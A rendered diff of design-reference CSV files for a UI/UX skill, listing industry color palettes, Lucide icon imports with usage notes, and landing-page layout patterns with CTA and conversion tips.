45,Online Course/E-learning,"online, course, learning",#0D9488,#2DD4BF,#EA580C,#F0FDFA,#134E4A,#5EEAD4,Vibrant learning colors + Progress green
|
||||
46,Non-profit/Charity,"non, profit, charity",#0891B2,#22D3EE,#F97316,#ECFEFF,#164E63,#A5F3FC,Cause-related colors + Trust + Warm
|
||||
47,Music Streaming,"music, streaming",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark (#121212) + Vibrant accents + Album art colors
|
||||
48,Video Streaming/OTT,"video, streaming, ott",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark bg + Content poster colors + Brand accent
|
||||
49,Job Board/Recruitment,"job, board, recruitment",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional Blue + Success Green + Neutral
|
||||
50,Marketplace (P2P),"marketplace, p2p",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust colors + Category colors + Success green
|
||||
51,Logistics/Delivery,"logistics, delivery",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Blue (#2563EB) + Orange (tracking) + Green (delivered)
|
||||
52,Agriculture/Farm Tech,"agriculture, farm, tech",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Earth Green (#4A7C23) + Brown + Sky Blue
|
||||
53,Construction/Architecture,"construction, architecture",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Grey (#4A4A4A) + Orange (safety) + Blueprint Blue
|
||||
54,Automotive/Car Dealership,"automotive, car, dealership",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand colors + Metallic accents + Dark/Light
|
||||
55,Photography Studio,"photography, studio",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Black + White + Minimal accent
|
||||
56,Coworking Space,"coworking, space",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Energetic colors + Wood tones + Brand accent
|
||||
57,Cleaning Service,"cleaning, service",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Fresh Blue (#00B4D8) + Clean White + Green
|
||||
58,Home Services (Plumber/Electrician),"home, services, plumber, electrician",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Trust Blue + Safety Orange + Professional grey
|
||||
59,Childcare/Daycare,"childcare, daycare",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Playful pastels + Safe colors + Warm accents
|
||||
60,Senior Care/Elderly,"senior, care, elderly",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Calm Blue + Warm neutrals + Large text
|
||||
61,Medical Clinic,"medical, clinic",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Medical Blue (#0077B6) + Trust White + Calm Green
|
||||
62,Pharmacy/Drug Store,"pharmacy, drug, store",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Pharmacy Green + Trust Blue + Clean White
|
||||
63,Dental Practice,"dental, practice",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Fresh Blue + White + Smile Yellow accent
|
||||
64,Veterinary Clinic,"veterinary, clinic",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Caring Blue + Pet-friendly colors + Warm accents
|
||||
65,Florist/Plant Shop,"florist, plant, shop",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Natural Green + Floral pinks/purples + Earth tones
|
||||
66,Bakery/Cafe,"bakery, cafe",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Warm Brown + Cream + Appetizing accents
|
||||
67,Coffee Shop,"coffee, shop",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Coffee Brown (#6F4E37) + Cream + Warm accents
|
||||
68,Brewery/Winery,"brewery, winery",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Deep amber/burgundy + Gold + Craft aesthetic
|
||||
69,Airline,airline,#7C3AED,#A78BFA,#06B6D4,#FAF5FF,#1E1B4B,#DDD6FE,Sky Blue + Brand colors + Trust accents
|
||||
70,News/Media Platform,"news, media, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand colors + High contrast + Category colors
|
||||
71,Magazine/Blog,"magazine, blog",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Editorial colors + Brand primary + Clean white
|
||||
72,Freelancer Platform,"freelancer, platform",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional Blue + Success Green + Neutral
|
||||
73,Consulting Firm,"consulting, firm",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Navy + Gold + Professional grey
|
||||
74,Marketing Agency,"marketing, agency",#EC4899,#F472B6,#06B6D4,#FDF2F8,#831843,#FBCFE8,Bold brand colors + Creative freedom
|
||||
75,Event Management,"event, management",#7C3AED,#A78BFA,#F97316,#FAF5FF,#4C1D95,#DDD6FE,Event theme colors + Excitement accents
|
||||
76,Conference/Webinar Platform,"conference, webinar, platform",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional Blue + Video accent + Brand
|
||||
77,Membership/Community,"membership, community",#7C3AED,#A78BFA,#F97316,#FAF5FF,#4C1D95,#DDD6FE,Community brand colors + Engagement accents
|
||||
78,Newsletter Platform,"newsletter, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand primary + Clean white + CTA accent
|
||||
79,Digital Products/Downloads,"digital, products, downloads",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Product category colors + Brand + Success green
|
||||
80,Church/Religious Organization,"church, religious, organization",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Warm Gold + Deep Purple/Blue + White
|
||||
81,Sports Team/Club,"sports, team, club",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Team colors + Energetic accents
|
||||
82,Museum/Gallery,"museum, gallery",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Art-appropriate neutrals + Exhibition accents
|
||||
83,Theater/Cinema,"theater, cinema",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Spotlight accents + Gold
|
||||
84,Language Learning App,"language, learning, app",#0D9488,#2DD4BF,#EA580C,#F0FDFA,#134E4A,#5EEAD4,Playful colors + Progress indicators + Country flags
|
||||
85,Coding Bootcamp,"coding, bootcamp",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Code editor colors + Brand + Success green
|
||||
86,Cybersecurity Platform,"cybersecurity, security, cyber, hacker",#00FF41,#0D0D0D,#00FF41,#000000,#E0E0E0,#1F1F1F,Matrix Green + Deep Black + Terminal feel
|
||||
87,Developer Tool / IDE,"developer, tool, ide, code, dev",#3B82F6,#1E293B,#2563EB,#0F172A,#F1F5F9,#334155,Dark syntax theme colors + Blue focus
|
||||
88,Biotech / Life Sciences,"biotech, science, biology, medical",#0EA5E9,#0284C7,#10B981,#F8FAFC,#0F172A,#E2E8F0,Sterile White + DNA Blue + Life Green
|
||||
89,Space Tech / Aerospace,"space, aerospace, tech, futuristic",#FFFFFF,#94A3B8,#3B82F6,#0B0B10,#F8FAFC,#1E293B,Deep Space Black + Star White + Metallic
|
||||
90,Architecture / Interior,"architecture, interior, design, luxury",#171717,#404040,#D4AF37,#FFFFFF,#171717,#E5E5E5,Monochrome + Gold Accent + High Imagery
|
||||
91,Quantum Computing,"quantum, qubit, tech",#00FFFF,#7B61FF,#FF00FF,#050510,#E0E0FF,#333344,Interference patterns + Neon + Deep Dark
|
||||
92,Biohacking / Longevity,"bio, health, science",#FF4D4D,#4D94FF,#00E676,#F5F5F7,#1C1C1E,#E5E5EA,Biological red/blue + Clinical white
|
||||
93,Autonomous Systems,"drone, robot, fleet",#00FF41,#008F11,#FF3333,#0D1117,#E6EDF3,#30363D,Terminal Green + Tactical Dark
|
||||
94,Generative AI Art,"art, gen-ai, creative",#111111,#333333,#FFFFFF,#FAFAFA,#000000,#E5E5E5,Canvas Neutral + High Contrast
|
||||
95,Spatial / Vision OS,"spatial, glass, vision",#FFFFFF,#E5E5E5,#007AFF,#888888,#000000,#FFFFFF,Glass opacity 20% + System Blue
|
||||
96,Climate Tech,"climate, green, energy",#2E8B57,#87CEEB,#FFD700,#F0FFF4,#1A3320,#C6E6C6,Nature Green + Solar Yellow + Air Blue
|
||||
|
101
skills/ui-ux-pro-max/data/icons.csv
Normal file
101
skills/ui-ux-pro-max/data/icons.csv
Normal file
@@ -0,0 +1,101 @@
|
||||
STT,Category,Icon Name,Keywords,Library,Import Code,Usage,Best For,Style
|
||||
1,Navigation,menu,hamburger menu navigation toggle bars,Lucide,import { Menu } from 'lucide-react',<Menu />,Mobile navigation drawer toggle sidebar,Outline
|
||||
2,Navigation,arrow-left,back previous return navigate,Lucide,import { ArrowLeft } from 'lucide-react',<ArrowLeft />,Back button breadcrumb navigation,Outline
|
||||
3,Navigation,arrow-right,next forward continue navigate,Lucide,import { ArrowRight } from 'lucide-react',<ArrowRight />,Forward button next step CTA,Outline
|
||||
4,Navigation,chevron-down,dropdown expand accordion select,Lucide,import { ChevronDown } from 'lucide-react',<ChevronDown />,Dropdown toggle accordion header,Outline
|
||||
5,Navigation,chevron-up,collapse close accordion minimize,Lucide,import { ChevronUp } from 'lucide-react',<ChevronUp />,Accordion collapse minimize,Outline
|
||||
6,Navigation,home,homepage main dashboard start,Lucide,import { Home } from 'lucide-react',<Home />,Home navigation main page,Outline
|
||||
7,Navigation,x,close cancel dismiss remove exit,Lucide,import { X } from 'lucide-react',<X />,Modal close dismiss button,Outline
|
||||
8,Navigation,external-link,open new tab external link,Lucide,import { ExternalLink } from 'lucide-react',<ExternalLink />,External link indicator,Outline
|
||||
9,Action,plus,add create new insert,Lucide,import { Plus } from 'lucide-react',<Plus />,Add button create new item,Outline
|
||||
10,Action,minus,remove subtract decrease delete,Lucide,import { Minus } from 'lucide-react',<Minus />,Remove item quantity decrease,Outline
|
||||
11,Action,trash-2,delete remove discard bin,Lucide,import { Trash2 } from 'lucide-react',<Trash2 />,Delete action destructive,Outline
|
||||
12,Action,edit,pencil modify change update,Lucide,import { Edit } from 'lucide-react',<Edit />,Edit button modify content,Outline
|
||||
13,Action,save,disk store persist save,Lucide,import { Save } from 'lucide-react',<Save />,Save button persist changes,Outline
|
||||
14,Action,download,export save file download,Lucide,import { Download } from 'lucide-react',<Download />,Download file export,Outline
|
||||
15,Action,upload,import file attach upload,Lucide,import { Upload } from 'lucide-react',<Upload />,Upload file import,Outline
|
||||
16,Action,copy,duplicate clipboard paste,Lucide,import { Copy } from 'lucide-react',<Copy />,Copy to clipboard,Outline
|
||||
17,Action,share,social distribute send,Lucide,import { Share } from 'lucide-react',<Share />,Share button social,Outline
|
||||
18,Action,search,find lookup filter query,Lucide,import { Search } from 'lucide-react',<Search />,Search input bar,Outline
|
||||
19,Action,filter,sort refine narrow options,Lucide,import { Filter } from 'lucide-react',<Filter />,Filter dropdown sort,Outline
|
||||
20,Action,settings,gear cog preferences config,Lucide,import { Settings } from 'lucide-react',<Settings />,Settings page configuration,Outline
|
||||
21,Status,check,success done complete verified,Lucide,import { Check } from 'lucide-react',<Check />,Success state checkmark,Outline
|
||||
22,Status,check-circle,success verified approved complete,Lucide,import { CheckCircle } from 'lucide-react',<CheckCircle />,Success badge verified,Outline
|
||||
23,Status,x-circle,error failed cancel rejected,Lucide,import { XCircle } from 'lucide-react',<XCircle />,Error state failed,Outline
|
||||
24,Status,alert-triangle,warning caution attention danger,Lucide,import { AlertTriangle } from 'lucide-react',<AlertTriangle />,Warning message caution,Outline
|
||||
25,Status,alert-circle,info notice information help,Lucide,import { AlertCircle } from 'lucide-react',<AlertCircle />,Info notice alert,Outline
|
||||
26,Status,info,information help tooltip details,Lucide,import { Info } from 'lucide-react',<Info />,Information tooltip help,Outline
|
||||
27,Status,loader,loading spinner processing wait,Lucide,import { Loader } from 'lucide-react',<Loader className="animate-spin" />,Loading state spinner,Outline
|
||||
28,Status,clock,time schedule pending wait,Lucide,import { Clock } from 'lucide-react',<Clock />,Pending time schedule,Outline
|
||||
29,Communication,mail,email message inbox letter,Lucide,import { Mail } from 'lucide-react',<Mail />,Email contact inbox,Outline
|
||||
30,Communication,message-circle,chat comment bubble conversation,Lucide,import { MessageCircle } from 'lucide-react',<MessageCircle />,Chat comment message,Outline
|
||||
31,Communication,phone,call mobile telephone contact,Lucide,import { Phone } from 'lucide-react',<Phone />,Phone contact call,Outline
|
||||
32,Communication,send,submit dispatch message airplane,Lucide,import { Send } from 'lucide-react',<Send />,Send message submit,Outline
|
||||
33,Communication,bell,notification alert ring reminder,Lucide,import { Bell } from 'lucide-react',<Bell />,Notification bell alert,Outline
|
||||
34,User,user,profile account person avatar,Lucide,import { User } from 'lucide-react',<User />,User profile account,Outline
|
||||
35,User,users,team group people members,Lucide,import { Users } from 'lucide-react',<Users />,Team group members,Outline
|
||||
36,User,user-plus,add invite new member,Lucide,import { UserPlus } from 'lucide-react',<UserPlus />,Add user invite,Outline
|
||||
37,User,log-in,signin authenticate enter,Lucide,import { LogIn } from 'lucide-react',<LogIn />,Login signin,Outline
|
||||
38,User,log-out,signout exit leave logout,Lucide,import { LogOut } from 'lucide-react',<LogOut />,Logout signout,Outline
|
||||
39,Media,image,photo picture gallery thumbnail,Lucide,import { Image } from 'lucide-react',<Image />,Image photo gallery,Outline
|
||||
40,Media,video,movie film play record,Lucide,import { Video } from 'lucide-react',<Video />,Video player media,Outline
|
||||
41,Media,play,start video audio media,Lucide,import { Play } from 'lucide-react',<Play />,Play button video audio,Outline
|
||||
42,Media,pause,stop halt video audio,Lucide,import { Pause } from 'lucide-react',<Pause />,Pause button media,Outline
|
||||
43,Media,volume-2,sound audio speaker music,Lucide,import { Volume2 } from 'lucide-react',<Volume2 />,Volume audio sound,Outline
|
||||
44,Media,mic,microphone record voice audio,Lucide,import { Mic } from 'lucide-react',<Mic />,Microphone voice record,Outline
|
||||
45,Media,camera,photo capture snapshot picture,Lucide,import { Camera } from 'lucide-react',<Camera />,Camera photo capture,Outline
|
||||
46,Commerce,shopping-cart,cart checkout basket buy,Lucide,import { ShoppingCart } from 'lucide-react',<ShoppingCart />,Shopping cart e-commerce,Outline
|
||||
47,Commerce,shopping-bag,purchase buy store bag,Lucide,import { ShoppingBag } from 'lucide-react',<ShoppingBag />,Shopping bag purchase,Outline
|
||||
48,Commerce,credit-card,payment card checkout stripe,Lucide,import { CreditCard } from 'lucide-react',<CreditCard />,Payment credit card,Outline
|
||||
49,Commerce,dollar-sign,money price currency cost,Lucide,import { DollarSign } from 'lucide-react',<DollarSign />,Price money currency,Outline
|
||||
50,Commerce,tag,label price discount sale,Lucide,import { Tag } from 'lucide-react',<Tag />,Price tag label,Outline
|
||||
51,Commerce,gift,present reward bonus offer,Lucide,import { Gift } from 'lucide-react',<Gift />,Gift reward offer,Outline
|
||||
52,Commerce,percent,discount sale offer promo,Lucide,import { Percent } from 'lucide-react',<Percent />,Discount percentage sale,Outline
|
||||
53,Data,bar-chart,analytics statistics graph metrics,Lucide,import { BarChart } from 'lucide-react',<BarChart />,Bar chart analytics,Outline
|
||||
54,Data,pie-chart,statistics distribution breakdown,Lucide,import { PieChart } from 'lucide-react',<PieChart />,Pie chart distribution,Outline
|
||||
55,Data,trending-up,growth increase positive trend,Lucide,import { TrendingUp } from 'lucide-react',<TrendingUp />,Growth trend positive,Outline
|
||||
56,Data,trending-down,decline decrease negative trend,Lucide,import { TrendingDown } from 'lucide-react',<TrendingDown />,Decline trend negative,Outline
|
||||
57,Data,activity,pulse heartbeat monitor live,Lucide,import { Activity } from 'lucide-react',<Activity />,Activity monitor pulse,Outline
|
||||
58,Data,database,storage server data backend,Lucide,import { Database } from 'lucide-react',<Database />,Database storage,Outline
|
||||
59,Files,file,document page paper doc,Lucide,import { File } from 'lucide-react',<File />,File document,Outline
|
||||
60,Files,file-text,document text page article,Lucide,import { FileText } from 'lucide-react',<FileText />,Text document article,Outline
|
||||
61,Files,folder,directory organize group files,Lucide,import { Folder } from 'lucide-react',<Folder />,Folder directory,Outline
|
||||
62,Files,folder-open,expanded browse files view,Lucide,import { FolderOpen } from 'lucide-react',<FolderOpen />,Open folder browse,Outline
|
||||
63,Files,paperclip,attachment attach file link,Lucide,import { Paperclip } from 'lucide-react',<Paperclip />,Attachment paperclip,Outline
|
||||
64,Files,link,url hyperlink chain connect,Lucide,import { Link } from 'lucide-react',<Link />,Link URL hyperlink,Outline
|
||||
65,Files,clipboard,paste copy buffer notes,Lucide,import { Clipboard } from 'lucide-react',<Clipboard />,Clipboard paste,Outline
|
||||
66,Layout,grid,tiles gallery layout dashboard,Lucide,import { Grid } from 'lucide-react',<Grid />,Grid layout gallery,Outline
|
||||
67,Layout,list,rows table lines items,Lucide,import { List } from 'lucide-react',<List />,List view rows,Outline
|
||||
68,Layout,columns,layout split dual sidebar,Lucide,import { Columns } from 'lucide-react',<Columns />,Column layout split,Outline
|
||||
69,Layout,maximize,fullscreen expand enlarge zoom,Lucide,import { Maximize } from 'lucide-react',<Maximize />,Fullscreen maximize,Outline
|
||||
70,Layout,minimize,reduce shrink collapse exit,Lucide,import { Minimize } from 'lucide-react',<Minimize />,Minimize reduce,Outline
|
||||
71,Layout,sidebar,panel drawer navigation menu,Lucide,import { Sidebar } from 'lucide-react',<Sidebar />,Sidebar panel,Outline
|
||||
72,Social,heart,like love favorite wishlist,Lucide,import { Heart } from 'lucide-react',<Heart />,Like favorite love,Outline
|
||||
73,Social,star,rating review favorite bookmark,Lucide,import { Star } from 'lucide-react',<Star />,Star rating favorite,Outline
|
||||
74,Social,thumbs-up,like approve agree positive,Lucide,import { ThumbsUp } from 'lucide-react',<ThumbsUp />,Like approve thumb,Outline
|
||||
75,Social,thumbs-down,dislike disapprove disagree negative,Lucide,import { ThumbsDown } from 'lucide-react',<ThumbsDown />,Dislike disapprove,Outline
|
||||
76,Social,bookmark,save later favorite mark,Lucide,import { Bookmark } from 'lucide-react',<Bookmark />,Bookmark save,Outline
|
||||
77,Social,flag,report mark important highlight,Lucide,import { Flag } from 'lucide-react',<Flag />,Flag report,Outline
|
||||
78,Device,smartphone,mobile phone device touch,Lucide,import { Smartphone } from 'lucide-react',<Smartphone />,Mobile smartphone,Outline
|
||||
79,Device,tablet,ipad device touch screen,Lucide,import { Tablet } from 'lucide-react',<Tablet />,Tablet device,Outline
|
||||
80,Device,monitor,desktop screen computer display,Lucide,import { Monitor } from 'lucide-react',<Monitor />,Desktop monitor,Outline
|
||||
81,Device,laptop,notebook computer portable device,Lucide,import { Laptop } from 'lucide-react',<Laptop />,Laptop computer,Outline
|
||||
82,Device,printer,print document output paper,Lucide,import { Printer } from 'lucide-react',<Printer />,Printer print,Outline
|
||||
83,Security,lock,secure password protected private,Lucide,import { Lock } from 'lucide-react',<Lock />,Lock secure,Outline
|
||||
84,Security,unlock,open access unsecure public,Lucide,import { Unlock } from 'lucide-react',<Unlock />,Unlock open,Outline
|
||||
85,Security,shield,protection security safe guard,Lucide,import { Shield } from 'lucide-react',<Shield />,Shield protection,Outline
|
||||
86,Security,key,password access unlock login,Lucide,import { Key } from 'lucide-react',<Key />,Key password,Outline
|
||||
87,Security,eye,view show visible password,Lucide,import { Eye } from 'lucide-react',<Eye />,Show password view,Outline
|
||||
88,Security,eye-off,hide invisible password hidden,Lucide,import { EyeOff } from 'lucide-react',<EyeOff />,Hide password,Outline
|
||||
89,Location,map-pin,location marker place address,Lucide,import { MapPin } from 'lucide-react',<MapPin />,Location pin marker,Outline
|
||||
90,Location,map,directions navigate geography location,Lucide,import { Map } from 'lucide-react',<Map />,Map directions,Outline
|
||||
91,Location,navigation,compass direction pointer arrow,Lucide,import { Navigation } from 'lucide-react',<Navigation />,Navigation compass,Outline
|
||||
92,Location,globe,world international global web,Lucide,import { Globe } from 'lucide-react',<Globe />,Globe world,Outline
|
||||
93,Time,calendar,date schedule event appointment,Lucide,import { Calendar } from 'lucide-react',<Calendar />,Calendar date,Outline
|
||||
94,Time,refresh-cw,reload sync update refresh,Lucide,import { RefreshCw } from 'lucide-react',<RefreshCw />,Refresh reload,Outline
|
||||
95,Time,rotate-ccw,undo back revert history,Lucide,import { RotateCcw } from 'lucide-react',<RotateCcw />,Undo revert,Outline
|
||||
96,Time,rotate-cw,redo forward repeat history,Lucide,import { RotateCw } from 'lucide-react',<RotateCw />,Redo forward,Outline
|
||||
97,Development,code,develop programming syntax html,Lucide,import { Code } from 'lucide-react',<Code />,Code development,Outline
|
||||
98,Development,terminal,console cli command shell,Lucide,import { Terminal } from 'lucide-react',<Terminal />,Terminal console,Outline
|
||||
99,Development,git-branch,version control branch merge,Lucide,import { GitBranch } from 'lucide-react',<GitBranch />,Git branch,Outline
|
||||
100,Development,github,repository code open source,Lucide,import { Github } from 'lucide-react',<Github />,GitHub repository,Outline
|
||||
|
Can't render this file because it contains an unexpected character in line 28 and column 113.
|
@@ -1,31 +1,31 @@
|
||||
No,Pattern Name,Keywords,Section Order,Primary CTA Placement,Color Strategy,Recommended Effects,Conversion Optimization
|
||||
1,Hero + Features + CTA,"hero, hero-centric, features, feature-rich, cta, call-to-action","1. Hero with headline/image, 2. Value prop, 3. Key features (3-5), 4. CTA section, 5. Footer",Hero (sticky) + Bottom,Hero: Brand primary or vibrant. Features: Card bg #FAFAFA. CTA: Contrasting accent color,"Hero parallax, feature card hover lift, CTA glow on hover",Deep CTA placement. Use contrasting color (at least 7:1 contrast ratio). Sticky navbar CTA.
|
||||
2,Hero + Testimonials + CTA,"hero, testimonials, social-proof, trust, reviews, cta","1. Hero, 2. Problem statement, 3. Solution overview, 4. Testimonials carousel, 5. CTA",Hero (sticky) + Post-testimonials,"Hero: Brand color. Testimonials: Light bg #F5F5F5. Quotes: Italic, muted color #666. CTA: Vibrant","Testimonial carousel slide animations, quote marks animations, avatar fade-in",Social proof before CTA. Use 3-5 testimonials. Include photo + name + role. CTA after social proof.
|
||||
3,Product Demo + Features,"demo, product-demo, features, showcase, interactive","1. Hero, 2. Product video/mockup (center), 3. Feature breakdown per section, 4. Comparison (optional), 5. CTA",Video center + CTA right/bottom,Video surround: Brand color overlay. Features: Icon color #0080FF. Text: Dark #222,"Video play button pulse, feature scroll reveals, demo interaction highlights",Embedded product demo increases engagement. Use interactive mockup if possible. Auto-play video muted.
|
||||
4,Minimal Single Column,"minimal, simple, direct, single-column, clean","1. Hero headline, 2. Short description, 3. Benefit bullets (3 max), 4. CTA, 5. Footer","Center, large CTA button",Minimalist: Brand + white #FFFFFF + accent. Buttons: High contrast 7:1+. Text: Black/Dark grey,Minimal hover effects. Smooth scroll. CTA scale on hover (subtle),Single CTA focus. Large typography. Lots of whitespace. No nav clutter. Mobile-first.
|
||||
5,Funnel (3-Step Conversion),"funnel, conversion, steps, wizard, onboarding","1. Hero, 2. Step 1 (problem), 3. Step 2 (solution), 4. Step 3 (action), 5. CTA progression",Each step: mini-CTA. Final: main CTA,"Step colors: 1 (Red/Problem), 2 (Orange/Process), 3 (Green/Solution). CTA: Brand color","Step number animations, progress bar fill, step transitions smooth scroll",Progressive disclosure. Show only essential info per step. Use progress indicators. Multiple CTAs.
|
||||
6,Comparison Table + CTA,"comparison, table, compare, versus, cta","1. Hero, 2. Problem intro, 3. Comparison table (product vs competitors), 4. Pricing (optional), 5. CTA",Table: Right column. CTA: Below table,Table: Alternating rows (white/light grey). Your product: Highlight #FFFACD (light yellow) or green. Text: Dark,"Table row hover highlight, price toggle animations, feature checkmark animations",Use comparison to show unique value. Highlight your product row. Include 'free trial' in pricing row.
|
||||
7,Lead Magnet + Form,"lead, form, signup, capture, email, magnet","1. Hero (benefit headline), 2. Lead magnet preview (ebook cover, checklist, etc), 3. Form (minimal fields), 4. CTA submit",Form CTA: Submit button,Lead magnet: Professional design. Form: Clean white bg. Inputs: Light border #CCCCCC. CTA: Brand color,"Form focus state animations, input validation animations, success confirmation animation",Form fields ≤ 3 for best conversion. Offer valuable lead magnet preview. Show form submission progress.
|
||||
8,Pricing Page + CTA,"pricing, plans, tiers, comparison, cta","1. Hero (pricing headline), 2. Price comparison cards, 3. Feature comparison table, 4. FAQ section, 5. Final CTA",Each card: CTA button. Sticky CTA in nav,"Free: Grey, Starter: Blue, Pro: Green/Gold, Enterprise: Dark. Cards: 1px border, shadow","Price toggle animation (monthly/yearly), card comparison highlight, FAQ accordion open/close",Recommend starter plan (pre-select/highlight). Show annual discount (20-30%). Use FAQs to address concerns.
|
||||
9,Video-First Hero,"video, hero, media, visual, engaging","1. Hero with video background, 2. Key features overlay, 3. Benefits section, 4. CTA",Overlay on video (center/bottom) + Bottom section,Dark overlay 60% on video. Brand accent for CTA. White text on dark.,"Video autoplay muted, parallax scroll, text fade-in on scroll",86% higher engagement with video. Add captions for accessibility. Compress video for performance.
|
||||
10,Scroll-Triggered Storytelling,"storytelling, scroll, narrative, story, immersive","1. Intro hook, 2. Chapter 1 (problem), 3. Chapter 2 (journey), 4. Chapter 3 (solution), 5. Climax CTA",End of each chapter (mini) + Final climax CTA,Progressive reveal. Each chapter has distinct color. Building intensity.,"ScrollTrigger animations, parallax layers, progressive disclosure, chapter transitions",Narrative increases time-on-page 3x. Use progress indicator. Mobile: simplify animations.
|
||||
11,AI Personalization Landing,"ai, personalization, smart, recommendation, dynamic","1. Dynamic hero (personalized), 2. Relevant features, 3. Tailored testimonials, 4. Smart CTA",Context-aware placement based on user segment,Adaptive based on user data. A/B test color variations per segment.,"Dynamic content swap, fade transitions, personalized product recommendations",20%+ conversion with personalization. Requires analytics integration. Fallback for new users.
|
||||
12,Waitlist/Coming Soon,"waitlist, coming-soon, launch, early-access, notify","1. Hero with countdown, 2. Product teaser/preview, 3. Email capture form, 4. Social proof (waitlist count)",Email form prominent (above fold) + Sticky form on scroll,Anticipation: Dark + accent highlights. Countdown in brand color. Urgency indicators.,"Countdown timer animation, email validation feedback, success confetti, social share buttons",Scarcity + exclusivity. Show waitlist count. Early access benefits. Referral program.
|
||||
13,Comparison Table Focus,"comparison, table, versus, compare, features","1. Hero (problem statement), 2. Comparison matrix (you vs competitors), 3. Feature deep-dive, 4. Winner CTA",After comparison table (highlighted row) + Bottom,Your product column highlighted (accent bg or green). Competitors neutral. Checkmarks green.,"Table row hover highlight, feature checkmark animations, sticky comparison header",Show value vs competitors. 35% higher conversion. Be factual. Include pricing if favorable.
|
||||
14,Pricing-Focused Landing,"pricing, price, cost, plans, subscription","1. Hero (value proposition), 2. Pricing cards (3 tiers), 3. Feature comparison, 4. FAQ, 5. Final CTA",Each pricing card + Sticky CTA in nav + Bottom,Popular plan highlighted (brand color border/bg). Free: grey. Enterprise: dark/premium.,"Price toggle monthly/annual animation, card hover lift, FAQ accordion smooth open",Annual discount 20-30%. Recommend mid-tier (most popular badge). Address objections in FAQ.
|
||||
15,App Store Style Landing,"app, mobile, download, store, install","1. Hero with device mockup, 2. Screenshots carousel, 3. Features with icons, 4. Reviews/ratings, 5. Download CTAs",Download buttons prominent (App Store + Play Store) throughout,Dark/light matching app store feel. Star ratings in gold. Screenshots with device frames.,"Device mockup rotations, screenshot slider, star rating animations, download button pulse",Show real screenshots. Include ratings (4.5+ stars). QR code for mobile. Platform-specific CTAs.
|
||||
16,FAQ/Documentation Landing,"faq, documentation, help, support, questions","1. Hero with search bar, 2. Popular categories, 3. FAQ accordion, 4. Contact/support CTA",Search bar prominent + Contact CTA for unresolved questions,"Clean, high readability. Minimal color. Category icons in brand color. Success green for resolved.","Search autocomplete, smooth accordion open/close, category hover, helpful feedback buttons",Reduce support tickets. Track search analytics. Show related articles. Contact escalation path.
|
||||
17,Immersive/Interactive Experience,"immersive, interactive, experience, 3d, animation","1. Full-screen interactive element, 2. Guided product tour, 3. Key benefits revealed, 4. CTA after completion",After interaction complete + Skip option for impatient users,Immersive experience colors. Dark background for focus. Highlight interactive elements.,"WebGL, 3D interactions, gamification elements, progress indicators, reward animations",40% higher engagement. Performance trade-off. Provide skip option. Mobile fallback essential.
|
||||
18,Event/Conference Landing,"event, conference, meetup, registration, schedule","1. Hero (date/location/countdown), 2. Speakers grid, 3. Agenda/schedule, 4. Sponsors, 5. Register CTA",Register CTA sticky + After speakers + Bottom,Urgency colors (countdown). Event branding. Speaker cards professional. Sponsor logos neutral.,"Countdown timer, speaker hover cards with bio, agenda tabs, early bird countdown",Early bird pricing with deadline. Social proof (past attendees). Speaker credibility. Multi-ticket discounts.
|
||||
19,Product Review/Ratings Focused,"reviews, ratings, testimonials, social-proof, stars","1. Hero (product + aggregate rating), 2. Rating breakdown, 3. Individual reviews, 4. Buy/CTA",After reviews summary + Buy button alongside reviews,Trust colors. Star ratings gold. Verified badge green. Review sentiment colors.,"Star fill animations, review filtering, helpful vote interactions, photo lightbox",User-generated content builds trust. Show verified purchases. Filter by rating. Respond to negative reviews.
|
||||
20,Community/Forum Landing,"community, forum, social, members, discussion","1. Hero (community value prop), 2. Popular topics/categories, 3. Active members showcase, 4. Join CTA",Join button prominent + After member showcase,"Warm, welcoming. Member photos add humanity. Topic badges in brand colors. Activity indicators green.","Member avatars animation, activity feed live updates, topic hover previews, join success celebration","Show active community (member count, posts today). Highlight benefits. Preview content. Easy onboarding."
|
||||
